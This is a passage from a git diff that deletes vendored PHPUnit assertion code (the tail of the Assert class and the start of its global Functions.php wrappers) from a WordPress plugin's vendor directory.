$actual = (new XmlLoader)->load($actualXml); - } - - static::assertNotEquals($expected, $actual, $message); - } - - /** - * Asserts that a hierarchy of DOMElements matches. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws AssertionFailedError - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4091 - */ - public static function assertEqualXMLStructure(DOMElement $expectedElement, DOMElement $actualElement, bool $checkAttributes = false, string $message = ''): void - { - self::createWarning('assertEqualXMLStructure() is deprecated and will be removed in PHPUnit 10.'); - - $expectedElement = Xml::import($expectedElement); - $actualElement = Xml::import($actualElement); - - static::assertSame( - $expectedElement->tagName, - $actualElement->tagName, - $message, - ); - - if ($checkAttributes) { - static::assertSame( - $expectedElement->attributes->length, - $actualElement->attributes->length, - sprintf( - '%s%sNumber of attributes on node "%s" does not match', - $message, - !empty($message) ? "\n" : '', - $expectedElement->tagName, - ), - ); - - for ($i = 0; $i < $expectedElement->attributes->length; $i++) { - $expectedAttribute = $expectedElement->attributes->item($i); - $actualAttribute = $actualElement->attributes->getNamedItem($expectedAttribute->name); - - assert($expectedAttribute instanceof DOMAttr); - - if (!$actualAttribute) { - static::fail( - sprintf( - '%s%sCould not find attribute "%s" on node "%s"', - $message, - !empty($message) ? "\n" : '', - $expectedAttribute->name, - $expectedElement->tagName, - ), - ); - } - } - } - - Xml::removeCharacterDataNodes($expectedElement); - Xml::removeCharacterDataNodes($actualElement); - - static::assertSame( - $expectedElement->childNodes->length, - $actualElement->childNodes->length, - sprintf( - '%s%sNumber of child nodes of "%s" differs', - $message, - !empty($message) ? "\n" : '', - $expectedElement->tagName, - ), - ); - - for ($i = 0; $i < $expectedElement->childNodes->length; $i++) { - static::assertEqualXMLStructure( - $expectedElement->childNodes->item($i), - $actualElement->childNodes->item($i), - $checkAttributes, - $message, - ); - } - } - - /** - * Evaluates a PHPUnit\Framework\Constraint matcher object. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertThat($value, Constraint $constraint, string $message = ''): void - { - self::$count += count($constraint); - - $constraint->evaluate($value, $message); - } - - /** - * Asserts that a string is a valid JSON string. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertJson(string $actualJson, string $message = ''): void - { - static::assertThat($actualJson, static::isJson(), $message); - } - - /** - * Asserts that two given JSON encoded objects or arrays are equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertJsonStringEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void - { - static::assertJson($expectedJson, $message); - static::assertJson($actualJson, $message); - - static::assertThat($actualJson, new JsonMatches($expectedJson), $message); - } - - /** - * Asserts that two given JSON encoded objects or arrays are not equal. - * - * @param string $expectedJson - * @param string $actualJson - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertJsonStringNotEqualsJsonString($expectedJson, $actualJson, string $message = ''): void - { - static::assertJson($expectedJson, $message); - static::assertJson($actualJson, $message); - - static::assertThat( - $actualJson, - new LogicalNot( - new JsonMatches($expectedJson), - ), - $message, - ); - } - - /** - * Asserts that the generated JSON encoded object and the content of the given file are equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertJsonStringEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - $expectedJson = file_get_contents($expectedFile); - - static::assertJson($expectedJson, $message); - static::assertJson($actualJson, $message); - - static::assertThat($actualJson, new JsonMatches($expectedJson), $message); - } - - /** - * Asserts that the generated JSON encoded object and the content of the given file are not equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertJsonStringNotEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - $expectedJson = file_get_contents($expectedFile); - - static::assertJson($expectedJson, $message); - static::assertJson($actualJson, $message); - - static::assertThat( - $actualJson, - new LogicalNot( - new JsonMatches($expectedJson), - ), - $message, - ); - } - - /** - * Asserts that two JSON files are equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertJsonFileEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - static::assertFileExists($actualFile, $message); - - $actualJson = file_get_contents($actualFile); - $expectedJson = file_get_contents($expectedFile); - - static::assertJson($expectedJson, $message); - static::assertJson($actualJson, $message); - - $constraintExpected = new JsonMatches( - $expectedJson, - ); - - $constraintActual = new JsonMatches($actualJson); - - static::assertThat($expectedJson, $constraintActual, $message); - static::assertThat($actualJson, $constraintExpected, $message); - } - - /** - * Asserts that two JSON files are not equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertJsonFileNotEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - static::assertFileExists($actualFile, $message); - - $actualJson = file_get_contents($actualFile); - $expectedJson = file_get_contents($expectedFile); - - static::assertJson($expectedJson, $message); - static::assertJson($actualJson, $message); - - $constraintExpected = new JsonMatches( - $expectedJson, - ); - - $constraintActual = new JsonMatches($actualJson); - - static::assertThat($expectedJson, new LogicalNot($constraintActual), $message); - static::assertThat($actualJson, new LogicalNot($constraintExpected), $message); - } - - /** - * @throws Exception - */ - public static function logicalAnd(): LogicalAnd - { - $constraints = func_get_args(); - - $constraint = new LogicalAnd; - $constraint->setConstraints($constraints); - - return $constraint; - } - - public static function logicalOr(): LogicalOr - { - $constraints = func_get_args(); - - $constraint = new LogicalOr; - $constraint->setConstraints($constraints); - - return $constraint; - } - - public static function logicalNot(Constraint $constraint): LogicalNot - { - return new LogicalNot($constraint); - } - - public static function logicalXor(): LogicalXor - { - $constraints = func_get_args(); - - $constraint = new LogicalXor; - $constraint->setConstraints($constraints); - - return $constraint; - } - - public static function anything(): IsAnything - { - return new IsAnything; - } - - public static function isTrue(): IsTrue - { - return new IsTrue; - } - - /** - * @psalm-template CallbackInput of mixed - * - * @psalm-param callable(CallbackInput $callback): bool $callback - * - * @psalm-return Callback - */ - public static function callback(callable $callback): Callback - { - return new Callback($callback); - } - - public static function isFalse(): IsFalse - { - return new IsFalse; - } - - public static function isJson(): IsJson - { - return new IsJson; - } - - public static function isNull(): IsNull - { - return new IsNull; - } - - public static function isFinite(): IsFinite - { - return new IsFinite; - } - - public static function isInfinite(): IsInfinite - { - return new IsInfinite; - } - - public static function isNan(): IsNan - { - return new IsNan; - } - - public static function containsEqual($value): TraversableContainsEqual - { - return new TraversableContainsEqual($value); - } - - public static function containsIdentical($value): TraversableContainsIdentical - { - return new TraversableContainsIdentical($value); - } - - public static function containsOnly(string $type): TraversableContainsOnly - { - return new TraversableContainsOnly($type); - } - - public static function containsOnlyInstancesOf(string $className): TraversableContainsOnly - { - return new TraversableContainsOnly($className, false); - } - - /** - * @param int|string $key - */ - public static function arrayHasKey($key): ArrayHasKey - { - return new ArrayHasKey($key); - } - - public static function equalTo($value): IsEqual - { - return new IsEqual($value, 0.0, false, false); - } - - public static function equalToCanonicalizing($value): IsEqualCanonicalizing - { - return new IsEqualCanonicalizing($value); - } - - public static function equalToIgnoringCase($value): IsEqualIgnoringCase - { - return new IsEqualIgnoringCase($value); - } - - public static function equalToWithDelta($value, float $delta): IsEqualWithDelta - { - return new IsEqualWithDelta($value, $delta); - } - - public static function isEmpty(): IsEmpty - { - return new IsEmpty; - } - - public static function isWritable(): IsWritable - { - return new IsWritable; - } - - public static function isReadable(): IsReadable - { - return new IsReadable; - } - - public static function directoryExists(): DirectoryExists - { - return new DirectoryExists; - } - - public static function fileExists(): FileExists - { - return new FileExists; - } - - public static function greaterThan($value): GreaterThan - { - return new GreaterThan($value); - } - - public static function greaterThanOrEqual($value): LogicalOr - { - return static::logicalOr( - new IsEqual($value), - new GreaterThan($value), - ); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function classHasAttribute(string $attributeName): ClassHasAttribute - { - self::createWarning('classHasAttribute() is deprecated and will be removed in PHPUnit 10.'); - - return new ClassHasAttribute($attributeName); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function classHasStaticAttribute(string $attributeName): ClassHasStaticAttribute - { - self::createWarning('classHasStaticAttribute() is deprecated and will be removed in PHPUnit 10.'); - - return new ClassHasStaticAttribute($attributeName); - } - - /** - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function objectHasAttribute($attributeName): ObjectHasAttribute - { - self::createWarning('objectHasAttribute() is deprecated and will be removed in PHPUnit 10.'); - - return new ObjectHasAttribute($attributeName); - } - - public static function identicalTo($value): IsIdentical - { - return new IsIdentical($value); - } - - public static function isInstanceOf(string $className): IsInstanceOf - { - return new IsInstanceOf($className); - } - - public static function isType(string $type): IsType - { - return new IsType($type); - } - - public static function lessThan($value): LessThan - { - return new LessThan($value); - } - - public static function lessThanOrEqual($value): LogicalOr - { - return static::logicalOr( - new IsEqual($value), - new LessThan($value), - ); - } - - public static function matchesRegularExpression(string $pattern): RegularExpression - { - return new RegularExpression($pattern); - } - - public static function matches(string $string): StringMatchesFormatDescription - { - return new StringMatchesFormatDescription($string); - } - - public static function stringStartsWith($prefix): StringStartsWith - { - return new StringStartsWith($prefix); - } - - public static function stringContains(string $string, bool $case = true): StringContains - { - return new StringContains($string, $case); - } - - public static function stringEndsWith(string $suffix): StringEndsWith - { - return new StringEndsWith($suffix); - } - - public static function countOf(int $count): Count - { - return new Count($count); - } - - public static function objectEquals(object $object, string $method = 'equals'): ObjectEquals - { - return new ObjectEquals($object, $method); - } - - /** - * Fails a test with the given message. - * - * @throws AssertionFailedError - * - * @psalm-return never-return - */ - public static function fail(string $message = ''): void - { - self::$count++; - - throw new AssertionFailedError($message); - } - - /** - * Mark the test as incomplete. - * - * @throws IncompleteTestError - * - * @psalm-return never-return - */ - public static function markTestIncomplete(string $message = ''): void - { - throw new IncompleteTestError($message); - } - - /** - * Mark the test as skipped. - * - * @throws SkippedTestError - * @throws SyntheticSkippedError - * - * @psalm-return never-return - */ - public static function markTestSkipped(string $message = ''): void - { - if ($hint = self::detectLocationHint($message)) { - $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); - array_unshift($trace, $hint); - - throw new SyntheticSkippedError($hint['message'], 0, $hint['file'], (int) $hint['line'], $trace); - } - - throw new SkippedTestError($message); - } - - /** - * Return the current assertion count. - */ - public static function getCount(): int - { - return self::$count; - } - - /** - * Reset the assertion counter. - */ - public static function resetCount(): void - { - self::$count = 0; - } - - private static function detectLocationHint(string $message): ?array - { - $hint = null; - $lines = preg_split('/\r\n|\r|\n/', $message); - - while (strpos($lines[0], '__OFFSET') !== false) { - $offset = explode('=', array_shift($lines)); - - if ($offset[0] === '__OFFSET_FILE') { - $hint['file'] = $offset[1]; - } - - if ($offset[0] === '__OFFSET_LINE') { - $hint['line'] = $offset[1]; - } - } - - if ($hint) { - $hint['message'] = implode(PHP_EOL, $lines); - } - - return $hint; - } - - private static function isValidObjectAttributeName(string $attributeName): bool - { - return (bool) preg_match('/[^\x00-\x1f\x7f-\x9f]+/', $attributeName); - } - - private static function isValidClassAttributeName(string $attributeName): bool - { - return (bool) preg_match('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/', $attributeName); - } - - /** - * @codeCoverageIgnore - */ - private static function createWarning(string $warning): void - { - foreach (debug_backtrace() as $step) { - if (isset($step['object']) && $step['object'] instanceof TestCase) { - assert($step['object'] instanceof TestCase); - - $step['object']->addWarning($warning); - - break; - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert/Functions.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert/Functions.php deleted file mode 100644 index 5b6cc850..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert/Functions.php +++ /dev/null @@ -1,3079 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function func_get_args; -use function function_exists; -use ArrayAccess; -use Countable; -use DOMDocument; -use DOMElement; -use PHPUnit\Framework\Constraint\ArrayHasKey; -use PHPUnit\Framework\Constraint\Callback; -use PHPUnit\Framework\Constraint\ClassHasAttribute; -use PHPUnit\Framework\Constraint\ClassHasStaticAttribute; -use PHPUnit\Framework\Constraint\Constraint; -use PHPUnit\Framework\Constraint\Count; -use PHPUnit\Framework\Constraint\DirectoryExists; -use PHPUnit\Framework\Constraint\FileExists; -use PHPUnit\Framework\Constraint\GreaterThan; -use PHPUnit\Framework\Constraint\IsAnything; -use PHPUnit\Framework\Constraint\IsEmpty; -use PHPUnit\Framework\Constraint\IsEqual; -use PHPUnit\Framework\Constraint\IsEqualCanonicalizing; -use PHPUnit\Framework\Constraint\IsEqualIgnoringCase; -use PHPUnit\Framework\Constraint\IsEqualWithDelta; -use PHPUnit\Framework\Constraint\IsFalse; -use PHPUnit\Framework\Constraint\IsFinite; -use PHPUnit\Framework\Constraint\IsIdentical; -use PHPUnit\Framework\Constraint\IsInfinite; -use PHPUnit\Framework\Constraint\IsInstanceOf; -use PHPUnit\Framework\Constraint\IsJson; -use PHPUnit\Framework\Constraint\IsNan; -use PHPUnit\Framework\Constraint\IsNull; -use PHPUnit\Framework\Constraint\IsReadable; -use PHPUnit\Framework\Constraint\IsTrue; -use PHPUnit\Framework\Constraint\IsType; -use PHPUnit\Framework\Constraint\IsWritable; -use PHPUnit\Framework\Constraint\LessThan; -use PHPUnit\Framework\Constraint\LogicalAnd; -use PHPUnit\Framework\Constraint\LogicalNot; -use PHPUnit\Framework\Constraint\LogicalOr; -use PHPUnit\Framework\Constraint\LogicalXor; -use PHPUnit\Framework\Constraint\ObjectEquals; -use PHPUnit\Framework\Constraint\ObjectHasAttribute; -use PHPUnit\Framework\Constraint\RegularExpression; -use PHPUnit\Framework\Constraint\StringContains; -use PHPUnit\Framework\Constraint\StringEndsWith; -use PHPUnit\Framework\Constraint\StringMatchesFormatDescription; -use PHPUnit\Framework\Constraint\StringStartsWith; -use PHPUnit\Framework\Constraint\TraversableContainsEqual; -use PHPUnit\Framework\Constraint\TraversableContainsIdentical; -use PHPUnit\Framework\Constraint\TraversableContainsOnly; -use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount as AnyInvokedCountMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtIndex as InvokedAtIndexMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastCount as InvokedAtLeastCountMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastOnce as InvokedAtLeastOnceMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount as InvokedAtMostCountMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedCount as InvokedCountMatcher; -use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls as ConsecutiveCallsStub; -use PHPUnit\Framework\MockObject\Stub\Exception as ExceptionStub; -use PHPUnit\Framework\MockObject\Stub\ReturnArgument as ReturnArgumentStub; -use PHPUnit\Framework\MockObject\Stub\ReturnCallback as ReturnCallbackStub; -use PHPUnit\Framework\MockObject\Stub\ReturnSelf as ReturnSelfStub; -use PHPUnit\Framework\MockObject\Stub\ReturnStub; -use PHPUnit\Framework\MockObject\Stub\ReturnValueMap as ReturnValueMapStub; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use Throwable; - -if (!function_exists('PHPUnit\Framework\assertArrayHasKey')) { - /** - * Asserts that an array has a specified key. - * - * @param int|string $key - * @param array|ArrayAccess $array - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertArrayHasKey - */ - function assertArrayHasKey($key, $array, string $message = ''): void - { - Assert::assertArrayHasKey(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertArrayNotHasKey')) { - /** - * Asserts that an array does not have a specified key. - * - * @param int|string $key - * @param array|ArrayAccess $array - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertArrayNotHasKey - */ - function assertArrayNotHasKey($key, $array, string $message = ''): void - { - Assert::assertArrayNotHasKey(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertContains')) { - /** - * Asserts that a haystack contains a needle. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertContains - */ - function assertContains($needle, iterable $haystack, string $message = ''): void - { - Assert::assertContains(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertContainsEquals')) { - function assertContainsEquals($needle, iterable $haystack, string $message = ''): void - { - Assert::assertContainsEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotContains')) { - /** - * Asserts that a haystack does not contain a needle. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotContains - */ - function assertNotContains($needle, iterable $haystack, string $message = ''): void - { - Assert::assertNotContains(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotContainsEquals')) { - function assertNotContainsEquals($needle, iterable $haystack, string $message = ''): void - { - Assert::assertNotContainsEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertContainsOnly')) { - /** - * Asserts that a haystack contains only values of a given type. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertContainsOnly - */ - function assertContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void - { - Assert::assertContainsOnly(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertContainsOnlyInstancesOf')) { - /** - * Asserts that a haystack contains only instances of a given class name. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertContainsOnlyInstancesOf - */ - function assertContainsOnlyInstancesOf(string $className, iterable $haystack, string $message = ''): void - { - Assert::assertContainsOnlyInstancesOf(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotContainsOnly')) { - /** - * Asserts that a haystack does not contain only values of a given type. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotContainsOnly - */ - function assertNotContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void - { - Assert::assertNotContainsOnly(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertCount')) { - /** - * Asserts the number of elements of an array, Countable or Traversable. - * - * @param Countable|iterable $haystack - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertCount - */ - function assertCount(int $expectedCount, $haystack, string $message = ''): void - { - Assert::assertCount(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotCount')) { - /** - * Asserts the number of elements of an array, Countable or Traversable. - * - * @param Countable|iterable $haystack - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * @throws Exception - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotCount - */ - function assertNotCount(int $expectedCount, $haystack, string $message = ''): void - { - Assert::assertNotCount(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertEquals')) { - /** - * Asserts that two variables are equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertEquals - */ - function assertEquals($expected, $actual, string $message = ''): void - { - Assert::assertEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertEqualsCanonicalizing')) { - /** - * Asserts that two variables are equal (canonicalizing). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertEqualsCanonicalizing - */ - function assertEqualsCanonicalizing($expected, $actual, string $message = ''): void - { - Assert::assertEqualsCanonicalizing(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertEqualsIgnoringCase')) { - /** - * Asserts that two variables are equal (ignoring case). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertEqualsIgnoringCase - */ - function assertEqualsIgnoringCase($expected, $actual, string $message = ''): void - { - Assert::assertEqualsIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertEqualsWithDelta')) { - /** - * Asserts that two variables are equal (with delta). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertEqualsWithDelta - */ - function assertEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void - { - Assert::assertEqualsWithDelta(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotEquals')) { - /** - * Asserts that two variables are not equal. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotEquals - */ - function assertNotEquals($expected, $actual, string $message = ''): void - { - Assert::assertNotEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotEqualsCanonicalizing')) { - /** - * Asserts that two variables are not equal (canonicalizing). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotEqualsCanonicalizing - */ - function assertNotEqualsCanonicalizing($expected, $actual, string $message = ''): void - { - Assert::assertNotEqualsCanonicalizing(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotEqualsIgnoringCase')) { - /** - * Asserts that two variables are not equal (ignoring case). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotEqualsIgnoringCase - */ - function assertNotEqualsIgnoringCase($expected, $actual, string $message = ''): void - { - Assert::assertNotEqualsIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotEqualsWithDelta')) { - /** - * Asserts that two variables are not equal (with delta). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotEqualsWithDelta - */ - function assertNotEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void - { - Assert::assertNotEqualsWithDelta(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertObjectEquals')) { - /** - * @throws ExpectationFailedException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertObjectEquals - */ - function assertObjectEquals(object $expected, object $actual, string $method = 'equals', string $message = ''): void - { - Assert::assertObjectEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertEmpty')) { - /** - * Asserts that a variable is empty. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert empty $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertEmpty - */ - function assertEmpty($actual, string $message = ''): void - { - Assert::assertEmpty(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertNotEmpty')) { - /** - * Asserts that a variable is not empty. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-assert !empty $actual - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertNotEmpty - */ - function assertNotEmpty($actual, string $message = ''): void - { - Assert::assertNotEmpty(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertGreaterThan')) { - /** - * Asserts that a value is greater than another value. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertGreaterThan - */ - function assertGreaterThan($expected, $actual, string $message = ''): void - { - Assert::assertGreaterThan(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertGreaterThanOrEqual')) { - /** - * Asserts that a value is greater than or equal to another value. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertGreaterThanOrEqual - */ - function assertGreaterThanOrEqual($expected, $actual, string $message = ''): void - { - Assert::assertGreaterThanOrEqual(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertLessThan')) { - /** - * Asserts that a value is smaller than another value. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertLessThan - */ - function assertLessThan($expected, $actual, string $message = ''): void - { - Assert::assertLessThan(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertLessThanOrEqual')) { - /** - * Asserts that a value is smaller than or equal to another value. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertLessThanOrEqual - */ - function assertLessThanOrEqual($expected, $actual, string $message = ''): void - { - Assert::assertLessThanOrEqual(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileEquals')) { - /** - * Asserts that the contents of one file is equal to the contents of another - * file. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileEquals - */ - function assertFileEquals(string $expected, string $actual, string $message = ''): void - { - Assert::assertFileEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileEqualsCanonicalizing')) { - /** - * Asserts that the contents of one file is equal to the contents of another - * file (canonicalizing). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileEqualsCanonicalizing - */ - function assertFileEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void - { - Assert::assertFileEqualsCanonicalizing(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileEqualsIgnoringCase')) { - /** - * Asserts that the contents of one file is equal to the contents of another - * file (ignoring case). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileEqualsIgnoringCase - */ - function assertFileEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void - { - Assert::assertFileEqualsIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileNotEquals')) { - /** - * Asserts that the contents of one file is not equal to the contents of - * another file. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileNotEquals - */ - function assertFileNotEquals(string $expected, string $actual, string $message = ''): void - { - Assert::assertFileNotEquals(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileNotEqualsCanonicalizing')) { - /** - * Asserts that the contents of one file is not equal to the contents of another - * file (canonicalizing). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileNotEqualsCanonicalizing - */ - function assertFileNotEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void - { - Assert::assertFileNotEqualsCanonicalizing(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertFileNotEqualsIgnoringCase')) { - /** - * Asserts that the contents of one file is not equal to the contents of another - * file (ignoring case). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertFileNotEqualsIgnoringCase - */ - function assertFileNotEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void - { - Assert::assertFileNotEqualsIgnoringCase(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringEqualsFile')) { - /** - * Asserts that the contents of a string is equal - * to the contents of a file. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @see Assert::assertStringEqualsFile - */ - function assertStringEqualsFile(string $expectedFile, string $actualString, string $message = ''): void - { - Assert::assertStringEqualsFile(...func_get_args()); - } -} - -if (!function_exists('PHPUnit\Framework\assertStringEqualsFileCanonicalizing')) { - /** - * Asserts that the contents of a string is equal - * to the contents of a file (canonicalizing). - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @no-named-arguments Parameter names are not covered by 